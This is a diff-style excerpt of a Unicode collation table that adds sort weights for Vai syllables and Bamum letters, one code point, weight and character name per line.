+A5E2  ; [.383C.0020.0002] # VAI SYLLABLE EN
+A5E3  ; [.383D.0020.0002] # VAI SYLLABLE NGEN
+A5E4  ; [.383E.0020.0002] # VAI SYLLABLE HE
+A5E5  ; [.383F.0020.0002] # VAI SYLLABLE HEN
+A5E6  ; [.3840.0020.0002] # VAI SYLLABLE WE
+A5E7  ; [.3841.0020.0002] # VAI SYLLABLE WEN
+A5E8  ; [.3842.0020.0002] # VAI SYLLABLE PE
+A5E9  ; [.3843.0020.0002] # VAI SYLLABLE BHE
+A5EA  ; [.3844.0020.0002] # VAI SYLLABLE BE
+A5EB  ; [.3845.0020.0002] # VAI SYLLABLE MBE
+A5EC  ; [.3846.0020.0002] # VAI SYLLABLE KPE
+A5ED  ; [.3847.0020.0002] # VAI SYLLABLE KPEN
+A5EE  ; [.3848.0020.0002] # VAI SYLLABLE MGBE
+A5EF  ; [.3849.0020.0002] # VAI SYLLABLE GBE
+A5F0  ; [.384A.0020.0002] # VAI SYLLABLE GBEN
+A5F1  ; [.384B.0020.0002] # VAI SYLLABLE FE
+A5F2  ; [.384C.0020.0002] # VAI SYLLABLE VE
+A5F3  ; [.384D.0020.0002] # VAI SYLLABLE TE
+A5F4  ; [.384E.0020.0002] # VAI SYLLABLE THE
+A5F5  ; [.384F.0020.0002] # VAI SYLLABLE DHE
+A5F6  ; [.3850.0020.0002] # VAI SYLLABLE DHHE
+A5F7  ; [.3851.0020.0002] # VAI SYLLABLE LE
+A5F8  ; [.3852.0020.0002] # VAI SYLLABLE RE
+A5F9  ; [.3853.0020.0002] # VAI SYLLABLE DE
+A5FA  ; [.3854.0020.0002] # VAI SYLLABLE NDE
+A5FB  ; [.3855.0020.0002] # VAI SYLLABLE SE
+A5FC  ; [.3856.0020.0002] # VAI SYLLABLE SHE
+A5FD  ; [.3857.0020.0002] # VAI SYLLABLE ZE
+A5FE  ; [.3858.0020.0002] # VAI SYLLABLE ZHE
+A5FF  ; [.3859.0020.0002] # VAI SYLLABLE CE
+A600  ; [.385A.0020.0002] # VAI SYLLABLE JE
+A601  ; [.385B.0020.0002] # VAI SYLLABLE NJE
+A602  ; [.385C.0020.0002] # VAI SYLLABLE YE
+A603  ; [.385D.0020.0002] # VAI SYLLABLE KE
+A604  ; [.385E.0020.0002] # VAI SYLLABLE NGGE
+A605  ; [.385F.0020.0002] # VAI SYLLABLE NGGEN
+A606  ; [.3860.0020.0002] # VAI SYLLABLE GE
+A607  ; [.3861.0020.0002] # VAI SYLLABLE GEN
+A608  ; [.3862.0020.0002] # VAI SYLLABLE ME
+A609  ; [.3863.0020.0002] # VAI SYLLABLE NE
+A60A  ; [.3864.0020.0002] # VAI SYLLABLE NYE
+A60B  ; [.3865.0020.0002] # VAI SYLLABLE NG
+A60C  ; [.3866.0020.0002] # VAI SYLLABLE LENGTHENER
+A6A0  ; [.3867.0020.0002] # BAMUM LETTER A
+A6A1  ; [.3868.0020.0002] # BAMUM LETTER KA
+A6A2  ; [.3869.0020.0002] # BAMUM LETTER U
+A6A3  ; [.386A.0020.0002] # BAMUM LETTER KU
+A6A4  ; [.386B.0020.0002] # BAMUM LETTER EE
+A6A5  ; [.386C.0020.0002] # BAMUM LETTER REE
+A6A6  ; [.386D.0020.0002] # BAMUM LETTER TAE
+A6A7  ; [.386E.0020.0002] # BAMUM LETTER O
+A6A8  ; [.386F.0020.0002] # BAMUM LETTER NYI
+A6A9  ; [.3870.0020.0002] # BAMUM LETTER I
+A6AA  ; [.3871.0020.0002] # BAMUM LETTER LA
+A6AB  ; [.3872.0020.0002] # BAMUM LETTER PA
+A6AC  ; [.3873.0020.0002] # BAMUM LETTER RII
+A6AD  ; [.3874.0020.0002] # BAMUM LETTER RIEE
+A6AE  ; [.3875.0020.0002] # BAMUM LETTER LEEEE
+A6AF  ; [.3876.0020.0002] # BAMUM LETTER MEEEE
+A6B0  ; [.3877.0020.0002] # BAMUM LETTER TAA
+A6B1  ; [.3878.0020.0002] # BAMUM LETTER NDAA
+A6B2  ; [.3879.0020.0002] # BAMUM LETTER NJAEM
+A6B3  ; [.387A.0020.0002] # BAMUM LETTER M
+A6B4  ; [.387B.0020.0002] # BAMUM LETTER SUU
+A6B5  ; [.387C.0020.0002] # BAMUM LETTER MU
+A6B6  ; [.387D.0020.0002] # BAMUM LETTER SHII
+A6B7  ; [.387E.0020.0002] # BAMUM LETTER SI
+A6B8  ; [.387F.0020.0002] # BAMUM LETTER SHEUX
+A6B9  ; [.3880.0020.0002] # BAMUM LETTER SEUX
+A6BA  ; [.3881.0020.0002] # BAMUM LETTER KYEE
+A6BB  ; [.3882.0020.0002] # BAMUM LETTER KET
+A6BC  ; [.3883.0020.0002] # BAMUM LETTER NUAE
+A6BD  ; [.3884.0020.0002] # BAMUM LETTER NU
+A6BE  ; [.3885.0020.0002] # BAMUM LETTER NJUAE
+A6BF  ; [.3886.0020.0002] # BAMUM LETTER YOQ
+A6C0  ; [.3887.0020.0002] # BAMUM LETTER SHU
+A6C1  ; [.3888.0020.0002] # BAMUM LETTER YUQ
+A6C2  ; [.3889.0020.0002] # BAMUM LETTER YA
+A6C3  ; [.388A.0020.0002] # BAMUM LETTER NSHA
+A6C4  ; [.388B.0020.0002] # BAMUM LETTER KEUX
+A6C5  ; [.388C.0020.0002] # BAMUM LETTER PEUX
+A6C6  ; [.388D.0020.0002] # BAMUM LETTER NJEE
+A6C7  ; [.388E.0020.0002] # BAMUM LETTER NTEE
+A6C8  ; [.388F.0020.0002] # BAMUM LETTER PUE
+A6C9  ; [.3890.0020.0002] # BAMUM LETTER WUE
+A6CA  ; [.3891.0020.0002] # BAMUM LETTER PEE
+A6CB  ; [.3892.0020.0002] # BAMUM LETTER FEE
+A6CC  ; [.3893.0020.0002] # BAMUM LETTER RU
+A6CD  ; [.3894.0020.0002] # BAMUM LETTER LU
+A6CE  ; [.3895.0020.0002] # BAMUM LETTER MI
+A6CF  ; [.3896.0020.0002] # BAMUM LETTER NI
+A6D0  ; [.3897.0020.0002] # BAMUM LETTER REUX
+A6D1  ; [.3898.0020.0002] # BAMUM LETTER RAE
+A6D2  ; [.3899.0020.0002] # BAMUM LETTER KEN
+A6D3  ; [.389A.0020.0002] # BAMUM LETTER NGKWAEN
+A6D4  ; [.389B.0020.0002] # BAMUM LETTER NGGA
+A6D5  ; [.389C.0020.0002] # BAMUM LETTER NGA
+A6D6  ; [.389D.0020.0002] # BAMUM LETTER SHO
+A6D7  ; [.389E.0020.0002] # BAMUM LETTER PUAE
+A6D8  ; [.389F.0020.0002] # BAMUM LETTER FU
+A6D9  ; [.38A0.0020.0002] # BAMUM LETTER FOM
+A6DA  ; [.38A1.0020.0002] # BAMUM LETTER WA
+A6DB  ; [.38A2.0020.0002] # BAMUM LETTER NA
+A6DC  ; [.38A3.0020.0002] # BAMUM LETTER LI
+A6DD  ; [.38A4.0020.0002] # BAMUM LETTER PI
+A6DE  ; [.38A5.0020.0002] # BAMUM LETTER LOQ
+A6DF  ; [.38A6.0020.0002] # BAMUM LETTER KO
+A6E0  ; [.38A7.0020.0002] # BAMUM LETTER MBEN
+A6E1  ; [.38A8.0020.0002] # BAMUM LETTER REN
+A6E2  ; [.38A9.0020.0002] # BAMUM LETTER MEN
+A6E3  ; [.38AA.0020.0002] # BAMUM LETTER MA
+A6E4  ; [.38AB.0020.0002] # BAMUM LETTER TI
+A6E5  ; [.38AC.0020.0002] # BAMUM LETTER KI
+A6E6  ; [.38AD.0020.0002] # BAMUM LETTER MO
+A6E7  ; [.38AE.0020.0002] # BAMUM LETTER MBAA
+A6E8  ; [.38AF.0020.0002] # BAMUM LETTER TET
+A6E9  ; [.38B0.0020.0002] # BAMUM LETTER KPA
+A6EA  ; [.38B1.0020.0002] # BAMUM LETTER TEN
+A6EB  ; [.38B2.0020.0002] # BAMUM LETTER NTUU
+A6EC  ; [.38B3.0020.0002] # BAMUM LETTER SAMBA
+A6ED  ; [.38B4.0020.0002] # BAMUM LETTER FAAMAE
+A6EE  ; [.38B5.0020.0002] # BAMUM LETTER KOVUU
+A6EF  ; [.38B6.0020.0002] # BAMUM LETTER KOGHOM
+16800 ; [.38B7.0020.0002] # BAMUM LETTER PHASE-A NGKUE MFON
+16801 ; [.38B8.0020.0002] # BAMUM LETTER PHASE-A GBIEE FON
+16802 ; [.38B9.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMGBIEE
+16803 ; [.38BA.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMBA
+16804 ; [.38BB.0020.0002] # BAMUM LETTER PHASE-A NAA MFON
+16805 ; [.38BC.0020.0002] # BAMUM LETTER PHASE-A SHUENSHUET
+16806 ; [.38BD.0020.0002] # BAMUM LETTER PHASE-A TITA MFON
+16807 ; [.38BE.0020.0002] # BAMUM LETTER PHASE-A NZA MFON
+16808 ; [.38BF.0020.0002] # BAMUM LETTER PHASE-A SHINDA PA NJI
+16809 ; [.38C0.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMGBIEE
+1680A ; [.38C1.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMBA
+1680B ; [.38C2.0020.0002] # BAMUM LETTER PHASE-A MAEMBGBIEE
+1680C ; [.38C3.0020.0002] # BAMUM LETTER PHASE-A TU MAEMBA
+1680D ; [.38C4.0020.0002] # BAMUM LETTER PHASE-A NGANGU
+1680E ; [.38C5.0020.0002] # BAMUM LETTER PHASE-A MAEMVEUX
+1680F ; [.38C6.0020.0002] # BAMUM LETTER PHASE-A MANSUAE
+16810 ; [.38C7.0020.0002] # BAMUM LETTER PHASE-A MVEUAENGAM
+16811 ; [.38C8.0020.0002] # BAMUM LETTER PHASE-A SEUNYAM
+16812 ; [.38C9.0020.0002] # BAMUM LETTER PHASE-A NTOQPEN
+16813 ; [.38CA.0020.0002] # BAMUM LETTER PHASE-A KEUKEUTNDA
+16814 ; [.38CB.0020.0002] # BAMUM LETTER PHASE-A NKINDI
+16815 ; [.38CC.0020.0002] # BAMUM LETTER PHASE-A SUU
+16816 ; [.38CD.0020.0002] # BAMUM LETTER PHASE-A NGKUENZEUM
+16817 ; [.38CE.0020.0002] # BAMUM LETTER PHASE-A LAPAQ
+16818 ; [.38CF.0020.0002] # BAMUM LETTER PHASE-A LET KUT
+16819 ; [.38D0.0020.0002] # BAMUM LETTER PHASE-A NTAP MFAA
+1681A ; [.38D1.0020.0002] # BAMUM LETTER PHASE-A MAEKEUP
+1681B ; [.38D2.0020.0002] # BAMUM LETTER PHASE-A PASHAE
+1681C ; [.38D3.0020.0002] # BAMUM LETTER PHASE-A GHEUAERAE
+1681D ; [.38D4.0020.0002] # BAMUM LETTER PHASE-A PAMSHAE
+1681E ; [.38D5.0020.0002] # BAMUM LETTER PHASE-A MON NGGEUAET
+1681F ; [.38D6.0020.0002] # BAMUM LETTER PHASE-A NZUN MEUT
+16820 ; [.38D7.0020.0002] # BAMUM LETTER PHASE-A U YUQ NAE
+16821 ; [.38D8.0020.0002] # BAMUM LETTER PHASE-A GHEUAEGHEUAE
+16822 ; [.38D9.0020.0002] # BAMUM LETTER PHASE-A NTAP NTAA
+16823 ; [.38DA.0020.0002] # BAMUM LETTER PHASE-A SISA
+16824 ; [.38DB.0020.0002] # BAMUM LETTER PHASE-A MGBASA
+16825 ; [.38DC.0020.0002] # BAMUM LETTER PHASE-A MEUNJOMNDEUQ
+16826 ; [.38DD.0020.0002] # BAMUM LETTER PHASE-A MOOMPUQ
+16827 ; [.38DE.0020.0002] # BAMUM LETTER PHASE-A KAFA
+16828 ; [.38DF.0020.0002] # BAMUM LETTER PHASE-A PA LEERAEWA
+16829 ; [.38E0.0020.0002] # BAMUM LETTER PHASE-A NDA LEERAEWA
+1682A ; [.38E1.0020.0002] # BAMUM LETTER PHASE-A PET
+1682B ; [.38E2.0020.0002] # BAMUM LETTER PHASE-A MAEMKPEN
+1682C ; [.38E3.0020.0002] # BAMUM LETTER PHASE-A NIKA
+1682D ; [.38E4.0020.0002] # BAMUM LETTER PHASE-A PUP
+1682E ; [.38E5.0020.0002] # BAMUM LETTER PHASE-A TUAEP
+1682F ; [.38E6.0020.0002] # BAMUM LETTER PHASE-A LUAEP
+16830 ; [.38E7.0020.0002] # BAMUM LETTER PHASE-A SONJAM
+16831 ; [.38E8.0020.0002] # BAMUM LETTER PHASE-A TEUTEUWEN
+16832 ; [.38E9.0020.0002] # BAMUM LETTER PHASE-A MAENYI
+16833 ; [.38EA.0020.0002] # BAMUM LETTER PHASE-A KET
+16834 ; [.38EB.0020.0002] # BAMUM LETTER PHASE-A NDAANGGEUAET
+16835 ; [.38EC.0020.0002] # BAMUM LETTER PHASE-A KUOQ
+16836 ; [.38ED.0020.0002] # BAMUM LETTER PHASE-A MOOMEUT
+16837 ; [.38EE.0020.0002] # BAMUM LETTER PHASE-A SHUM
+16838 ; [.38EF.0020.0002] # BAMUM LETTER PHASE-A LOMMAE
+16839 ; [.38F0.0020.0002] # BAMUM LETTER PHASE-A FIRI
+1683A ; [.38F1.0020.0002] # BAMUM LETTER PHASE-A ROM
+1683B ; [.38F2.0020.0002] # BAMUM LETTER PHASE-A KPOQ
+1683C ; [.38F3.0020.0002] # BAMUM LETTER PHASE-A SOQ
+1683D ; [.38F4.0020.0002] # BAMUM LETTER PHASE-A MAP PIEET
+1683E ; [.38F5.0020.0002] # BAMUM LETTER PHASE-A SHIRAE
+1683F ; [.38F6.0020.0002] # BAMUM LETTER PHASE-A NTAP
+16840 ; [.38F7.0020.0002] # BAMUM LETTER PHASE-A SHOQ NSHUT YUM
+16841 ; [.38F8.0020.0002] # BAMUM LETTER PHASE-A NYIT MONGKEUAEQ
+16842 ; [.38F9.0020.0002] # BAMUM LETTER PHASE-A PAARAE
+16843 ; [.38FA.0020.0002] # BAMUM LETTER PHASE-A NKAARAE
+16844 ; [.38FB.0020.0002] # BAMUM LETTER PHASE-A UNKNOWN
+16845 ; [.38FC.0020.0002] # BAMUM LETTER PHASE-A NGGEN
+16846 ; [.38FD.0020.0002] # BAMUM LETTER PHASE-A MAESI
+16847 ; [.38FE.0020.0002] # BAMUM LETTER PHASE-A NJAM
+16848 ; [.38FF.0020.0002] # BAMUM LETTER PHASE-A MBANYI
+16849 ; [.3900.0020.0002] # BAMUM LETTER PHASE-A NYET
+1684A ; [.3901.0020.0002] # BAMUM LETTER PHASE-A TEUAEN
+1684B ; [.3902.0020.0002] # BAMUM LETTER PHASE-A SOT
+1684C ; [.3903.0020.0002] # BAMUM LETTER PHASE-A PAAM
+1684D ; [.3904.0020.0002] # BAMUM LETTER PHASE-A NSHIEE
+1684E ; [.3905.0020.0002] # BAMUM LETTER PHASE-A MAEM
+1684F ; [.3906.0020.0002] # BAMUM LETTER PHASE-A NYI
+16850 ; [.3907.0020.0002] # BAMUM LETTER PHASE-A KAQ
+16851 ; [.3908.0020.0002] # BAMUM LETTER PHASE-A NSHA
+16852 ; [.3909.0020.0002] # BAMUM LETTER PHASE-A VEE
+16853 ; [.390A.0020.0002] # BAMUM LETTER PHASE-A LU
+16854 ; [.390B.0020.0002] # BAMUM LETTER PHASE-A NEN
+16855 ; [.390C.0020.0002] # BAMUM LETTER PHASE-A NAQ
+16856 ; [.390D.0020.0002] # BAMUM LETTER PHASE-A MBAQ
+16857 ; [.390E.0020.0002] # BAMUM LETTER PHASE-B NSHUET
+16858 ; [.390F.0020.0002] # BAMUM LETTER PHASE-B TU MAEMGBIEE
+16859 ; [.3910.0020.0002] # BAMUM LETTER PHASE-B SIEE
+1685A ; [.3911.0020.0002] # BAMUM LETTER PHASE-B SET TU
+1685B ; [.3912.0020.0002] # BAMUM LETTER PHASE-B LOM NTEUM
+1685C ; [.3913.0020.0002] # BAMUM LETTER PHASE-B MBA MAELEE
+1685D ; [.3914.0020.0002] # BAMUM LETTER PHASE-B KIEEM
+1685E ; [.3915.0020.0002] # BAMUM LETTER PHASE-B YEURAE
+1685F ; [.3916.0020.0002] # BAMUM LETTER PHASE-B MBAARAE
+16860 ; [.3917.0020.0002] # BAMUM LETTER PHASE-B KAM
+16861 ; [.3918.0020.0002] # BAMUM LETTER PHASE-B PEESHI
+16862 ; [.3919.0020.0002] # BAMUM LETTER PHASE-B YAFU LEERAEWA
+16863 ; [.391A.0020.0002] # BAMUM LETTER PHASE-B LAM NSHUT NYAM
+16864 ; [.391B.0020.0002] # BAMUM LETTER PHASE-B NTIEE SHEUOQ
+16865 ; [.391C.0020.0002] # BAMUM LETTER PHASE-B NDU NJAA
+16866 ; [.391D.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEUAEM
+16867 ; [.391E.0020.0002] # BAMUM LETTER PHASE-B PIT
+16868 ; [.391F.0020.0002] # BAMUM LETTER PHASE-B TU NSIEE
+16869 ; [.3920.0020.0002] # BAMUM LETTER PHASE-B SHET NJAQ
+1686A ; [.3921.0020.0002] # BAMUM LETTER PHASE-B SHEUAEQTU
+1686B ; [.3922.0020.0002] # BAMUM LETTER PHASE-B MFON TEUAEQ
+1686C ; [.3923.0020.0002] # BAMUM LETTER PHASE-B MBIT MBAAKET
+1686D ; [.3924.0020.0002] # BAMUM LETTER PHASE-B NYI NTEUM
+1686E ; [.3925.0020.0002] # BAMUM LETTER PHASE-B KEUPUQ
+1686F ; [.3926.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEN
+16870 ; [.3927.0020.0002] # BAMUM LETTER PHASE-B KEUYEUX
+16871 ; [.3928.0020.0002] # BAMUM LETTER PHASE-B LAANAE
+16872 ; [.3929.0020.0002] # BAMUM LETTER PHASE-B PARUM
+16873 ; [.392A.0020.0002] # BAMUM LETTER PHASE-B VEUM
+16874 ; [.392B.0020.0002] # BAMUM LETTER PHASE-B NGKINDI MVOP
+16875 ; [.392C.0020.0002] # BAMUM LETTER PHASE-B NGGEU MBU
+16876 ; [.392D.0020.0002] # BAMUM LETTER PHASE-B WUAET
+16877 ; [.392E.0020.0002] # BAMUM LETTER PHASE-B SAKEUAE
+16878 ; [.392F.0020.0002] # BAMUM LETTER PHASE-B TAAM
+16879 ; [.3930.0020.0002] # BAMUM LETTER PHASE-B MEUQ
+1687A ; [.3931.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ
+1687B ; [.3932.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ LARGE
+1687C ; [.3933.0020.0002] # BAMUM LETTER PHASE-B MFIYAQ
+1687D ; [.3934.0020.0002] # BAMUM LETTER PHASE-B SUE
+1687E ; [.3935.0020.0002] # BAMUM LETTER PHASE-B MBEURI
+1687F ; [.3936.0020.0002] # BAMUM LETTER PHASE-B MONTIEEN
+16880 ; [.3937.0020.0002] # BAMUM LETTER PHASE-B NYAEMAE
+16881 ; [.3938.0020.0002] # BAMUM LETTER PHASE-B PUNGAAM
+16882 ; [.3939.0020.0002] # BAMUM LETTER PHASE-B MEUT NGGEET
+16883 ; [.393A.0020.0002] # BAMUM LETTER PHASE-B FEUX
+16884 ; [.393B.0020.0002] # BAMUM LETTER PHASE-B MBUOQ
+16885 ; [.393C.0020.0002] # BAMUM LETTER PHASE-B FEE
+16886 ; [.393D.0020.0002] # BAMUM LETTER PHASE-B KEUAEM
+16887 ; [.393E.0020.0002] # BAMUM LETTER PHASE-B MA NJEUAENA
+16888 ; [.393F.0020.0002] # BAMUM LETTER PHASE-B MA NJUQA
+16889 ; [.3940.0020.0002] # BAMUM LETTER PHASE-B LET
+1688A ; [.3941.0020.0002] # BAMUM LETTER PHASE-B NGGAAM
+1688B ; [.3942.0020.0002] # BAMUM LETTER PHASE-B NSEN
+1688C ; [.3943.0020.0002] # BAMUM LETTER PHASE-B MA
+1688D ; [.3944.0020.0002] # BAMUM LETTER PHASE-B KIQ
+1688E ; [.3945.0020.0002] # BAMUM LETTER PHASE-B NGOM
+1688F ; [.3946.0020.0002] # BAMUM LETTER PHASE-C NGKUE MAEMBA
+16890 ; [.3947.0020.0002] # BAMUM LETTER PHASE-C NZA
+16891 ; [.3948.0020.0002] # BAMUM LETTER PHASE-C YUM
+16892 ; [.3949.0020.0002] # BAMUM LETTER PHASE-C WANGKUOQ
+16893 ; [.394A.0020.0002] # BAMUM LETTER PHASE-C NGGEN
+16894 ; [.394B.0020.0002] # BAMUM LETTER PHASE-C NDEUAEREE
+16895 ; [.394C.0020.0002] # BAMUM LETTER PHASE-C NGKAQ
+16896 ; [.394D.0020.0002] # BAMUM LETTER PHASE-C GHARAE
+16897 ; [.394E.0020.0002] # BAMUM LETTER PHASE-C MBEEKEET
+16898 ; [.394F.0020.0002] # BAMUM LETTER PHASE-C GBAYI
+16899 ; [.3950.0020.0002] # BAMUM LETTER PHASE-C NYIR MKPARAQ MEUN
+1689A ; [.3951.0020.0002] # BAMUM LETTER PHASE-C NTU MBIT
+1689B ; [.3952.0020.0002] # BAMUM LETTER PHASE-C MBEUM
+1689C ; [.3953.0020.0002] # BAMUM LETTER PHASE-C PIRIEEN
+1689D ; [.3954.0020.0002] # BAMUM LETTER PHASE-C NDOMBU
+1689E ; [.3955.0020.0002] # BAMUM LETTER PHASE-C MBAA CABBAGE-TREE
+1689F ; [.3956.0020.0002] # BAMUM LETTER PHASE-C KEUSHEUAEP
+168A0 ; [.3957.0020.0002] # BAMUM LETTER PHASE-C GHAP
+168A1 ; [.3958.0020.0002] # BAMUM LETTER PHASE-C KEUKAQ
+168A2 ; [.3959.0020.0002] # BAMUM LETTER PHASE-C YU MUOMAE
+168A3 ; [.395A.0020.0002] # BAMUM LETTER PHASE-C NZEUM
+168A4 ; [.395B.0020.0002] # BAMUM LETTER PHASE-C MBUE
+168A5 ; [.395C.0020.0002] # BAMUM LETTER PHASE-C NSEUAEN
+168A6 ; [.395D.0020.0002] # BAMUM LETTER PHASE-C MBIT
+168A7 ; [.395E.0020.0002] # BAMUM LETTER PHASE-C YEUQ
+168A8 ; [.395F.0020.0002] # BAMUM LETTER PHASE-C KPARAQ
+168A9 ; [.3960.0020.0002] # BAMUM LETTER PHASE-C KAA
+168AA ; [.3961.0020.0002] # BAMUM LETTER PHASE-C SEUX
+168AB ; [.3962.0020.0002] # BAMUM LETTER PHASE-C NDIDA
+168AC ; [.3963.0020.0002] # BAMUM LETTER PHASE-C TAASHAE
+168AD ; [.3964.0020.0002] # BAMUM LETTER PHASE-C NJUEQ
+168AE ; [.3965.0020.0002] # BAMUM LETTER PHASE-C TITA YUE
+168AF ; [.3966.0020.0002] # BAMUM LETTER PHASE-C SUAET
+168B0 ; [.3967.0020.0002] # BAMUM LETTER PHASE-C NGGUAEN NYAM
+168B1 ; [.3968.0020.0002] # BAMUM LETTER PHASE-C VEUX
+168B2 ; [.3969.0020.0002] # BAMUM LETTER PHASE-C NANSANAQ
+168B3 ; [.396A.0020.0002] # BAMUM LETTER PHASE-C MA KEUAERI
+168B4 ; [.396B.0020.0002] # BAMUM LETTER PHASE-C NTAA
+168B5 ; [.396C.0020.0002] # BAMUM LETTER PHASE-C NGGUON
+168B6 ; [.396D.0020.0002] # BAMUM LETTER PHASE-C LAP
+168B7 ; [.396E.0020.0002] # BAMUM LETTER PHASE-C MBIRIEEN
+168B8 ; [.396F.0020.0002] # BAMUM LETTER PHASE-C MGBASAQ
+168B9 ; [.3970.0020.0002] # BAMUM LETTER PHASE-C NTEUNGBA
+168BA ; [.3971.0020.0002] # BAMUM LETTER PHASE-C TEUTEUX
+168BB ; [.3972.0020.0002] # BAMUM LETTER PHASE-C NGGUM
+168BC ; [.3973.0020.0002] # BAMUM LETTER PHASE-C FUE
+168BD ; [.3974.0020.0002] # BAMUM LETTER PHASE-C NDEUT
+168BE ; [.3975.0020.0002] # BAMUM LETTER PHASE-C NSA
+168BF ; [.3976.0020.0002] # BAMUM LETTER PHASE-C NSHAQ
+168C0 ; [.3977.0020.0002] # BAMUM LETTER PHASE-C BUNG
+168C1 ; [.3978.0020.0002] # BAMUM LETTER PHASE-C VEUAEPEN
+168C2 ; [.3979.0020.0002] # BAMUM LETTER PHASE-C MBERAE
+168C3 ; [.397A.0020.0002] # BAMUM LETTER PHASE-C RU
+168C4 ; [.397B.0020.0002] # BAMUM LETTER PHASE-C NJAEM
+168C5 ; [.397C.0020.0002] # BAMUM LETTER PHASE-C LAM
+168C6 ; [.397D.0020.0002] # BAMUM LETTER PHASE-C TITUAEP
+168C7 ; [.397E.0020.0002] # BAMUM LETTER PHASE-C NSUOT NGOM
+168C8 ; [.397F.0020.0002] # BAMUM LETTER PHASE-C NJEEEE
+168C9 ; [.3980.0020.0002] # BAMUM LETTER PHASE-C KET
+168CA ; [.3981.0020.0002] # BAMUM LETTER PHASE-C NGGU
+168CB ; [.3982.0020.0002] # BAMUM LETTER PHASE-C MAESI
+168CC ; [.3983.0020.0002] # BAMUM LETTER PHASE-C MBUAEM
+168CD ; [.3984.0020.0002] # BAMUM LETTER PHASE-C LU
+168CE ; [.3985.0020.0002] # BAMUM LETTER PHASE-C KUT
+168CF ; [.3986.0020.0002] # BAMUM LETTER PHASE-C NJAM
+168D0 ; [.3987.0020.0002] # BAMUM LETTER PHASE-C NGOM
+168D1 ; [.3988.0020.0002] # BAMUM LETTER PHASE-C WUP
+168D2 ; [.3989.0020.0002] # BAMUM LETTER PHASE-C NGGUEET
+168D3 ; [.398A.0020.0002] # BAMUM LETTER PHASE-C NSOM
+168D4 ; [.398B.0020.0002] # BAMUM LETTER PHASE-C NTEN
+168D5 ; [.398C.0020.0002] # BAMUM LETTER PHASE-C KUOP NKAARAE
+168D6 ; [.398D.0020.0002] # BAMUM LETTER PHASE-C NSUN
+168D7 ; [.398E.0020.0002] # BAMUM LETTER PHASE-C NDAM
+168D8 ; [.398F.0020.0002] # BAMUM LETTER PHASE-C MA NSIEE
+168D9 ; [.3990.0020.0002] # BAMUM LETTER PHASE-C YAA
+168DA ; [.3991.0020.0002] # BAMUM LETTER PHASE-C NDAP
+168DB ; [.3992.0020.0002] # BAMUM LETTER PHASE-C SHUEQ
+168DC ; [.3993.0020.0002] # BAMUM LETTER PHASE-C SETFON
+168DD ; [.3994.0020.0002] # BAMUM LETTER PHASE-C MBI
+168DE ; [.3995.0020.0002] # BAMUM LETTER PHASE-C MAEMBA
+168DF ; [.3996.0020.0002] # BAMUM LETTER PHASE-C MBANYI
+168E0 ; [.3997.0020.0002] # BAMUM LETTER PHASE-C KEUSEUX
+168E1 ; [.3998.0020.0002] # BAMUM LETTER PHASE-C MBEUX
+168E2 ; [.3999.0020.0002] # BAMUM LETTER PHASE-C KEUM
+168E3 ; [.399A.0020.0002] # BAMUM LETTER PHASE-C MBAA PICKET
+168E4 ; [.399B.0020.0002] # BAMUM LETTER PHASE-C YUWOQ
+168E5 ; [.399C.0020.0002] # BAMUM LETTER PHASE-C NJEUX
+168E6 ; [.399D.0020.0002] # BAMUM LETTER PHASE-C MIEE
+168E7 ; [.399E.0020.0002] # BAMUM LETTER PHASE-C MUAE
+168E8 ; [.399F.0020.0002] # BAMUM LETTER PHASE-C SHIQ
+168E9 ; [.39A0.0020.0002] # BAMUM LETTER PHASE-C KEN LAW
+168EA ; [.39A1.0020.0002] # BAMUM LETTER PHASE-C KEN FATIGUE
+168EB ; [.39A2.0020.0002] # BAMUM LETTER PHASE-C NGAQ
+168EC ; [.39A3.0020.0002] # BAMUM LETTER PHASE-C NAQ
+168ED ; [.39A4.0020.0002] # BAMUM LETTER PHASE-C LIQ
+168EE ; [.39A5.0020.0002] # BAMUM LETTER PHASE-C PIN
+168EF ; [.39A6.0020.0002] # BAMUM LETTER PHASE-C PEN
+168F0 ; [.39A7.0020.0002] # BAMUM LETTER PHASE-C TET
+168F1 ; [.39A8.0020.0002] # BAMUM LETTER PHASE-D MBUO
+168F2 ; [.39A9.0020.0002] # BAMUM LETTER PHASE-D WAP
+168F3 ; [.39AA.0020.0002] # BAMUM LETTER PHASE-D NJI
+168F4 ; [.39AB.0020.0002] # BAMUM LETTER PHASE-D MFON
+168F5 ; [.39AC.0020.0002] # BAMUM LETTER PHASE-D NJIEE
+168F6 ; [.39AD.0020.0002] # BAMUM LETTER PHASE-D LIEE
+168F7 ; [.39AE.0020.0002] # BAMUM LETTER PHASE-D NJEUT
+168F8 ; [.39AF.0020.0002] # BAMUM LETTER PHASE-D NSHEE
+168F9 ; [.39B0.0020.0002] # BAMUM LETTER PHASE-D NGGAAMAE
+168FA ; [.39B1.0020.0002] # BAMUM LETTER PHASE-D NYAM
+168FB ; [.39B2.0020.0002] # BAMUM LETTER PHASE-D WUAEN
+168FC ; [.39B3.0020.0002] # BAMUM LETTER PHASE-D NGKUN
+168FD ; [.39B4.0020.0002] # BAMUM LETTER PHASE-D SHEE
+168FE ; [.39B5.0020.0002] # BAMUM LETTER PHASE-D NGKAP
+168FF ; [.39B6.0020.0002] # BAMUM LETTER PHASE-D KEUAETMEUN
+16900 ; [.39B7.0020.0002] # BAMUM LETTER PHASE-D TEUT
+16901 ; [.39B8.0020.0002] # BAMUM LETTER PHASE-D SHEUAE
+16902 ; [.39B9.0020.0002] # BAMUM LETTER PHASE-D NJAP
+16903 ; [.39BA.0020.0002] # BAMUM LETTER PHASE-D SUE
+16904 ; [.39BB.0020.0002] # BAMUM LETTER PHASE-D KET
+16905 ; [.39BC.0020.0002] # BAMUM LETTER PHASE-D YAEMMAE
+16906 ; [.39BD.0020.0002] # BAMUM LETTER PHASE-D KUOM
+16907 ; [.39BE.0020.0002] # BAMUM LETTER PHASE-D SAP
+16908 ; [.39BF.0020.0002] # BAMUM LETTER PHASE-D MFEUT
+16909 ; [.39C0.0020.0002] # BAMUM LETTER PHASE-D NDEUX
+1690A ; [.39C1.0020.0002] # BAMUM LETTER PHASE-D MALEERI
+1690B ; [.39C2.0020.0002] # BAMUM LETTER PHASE-D MEUT
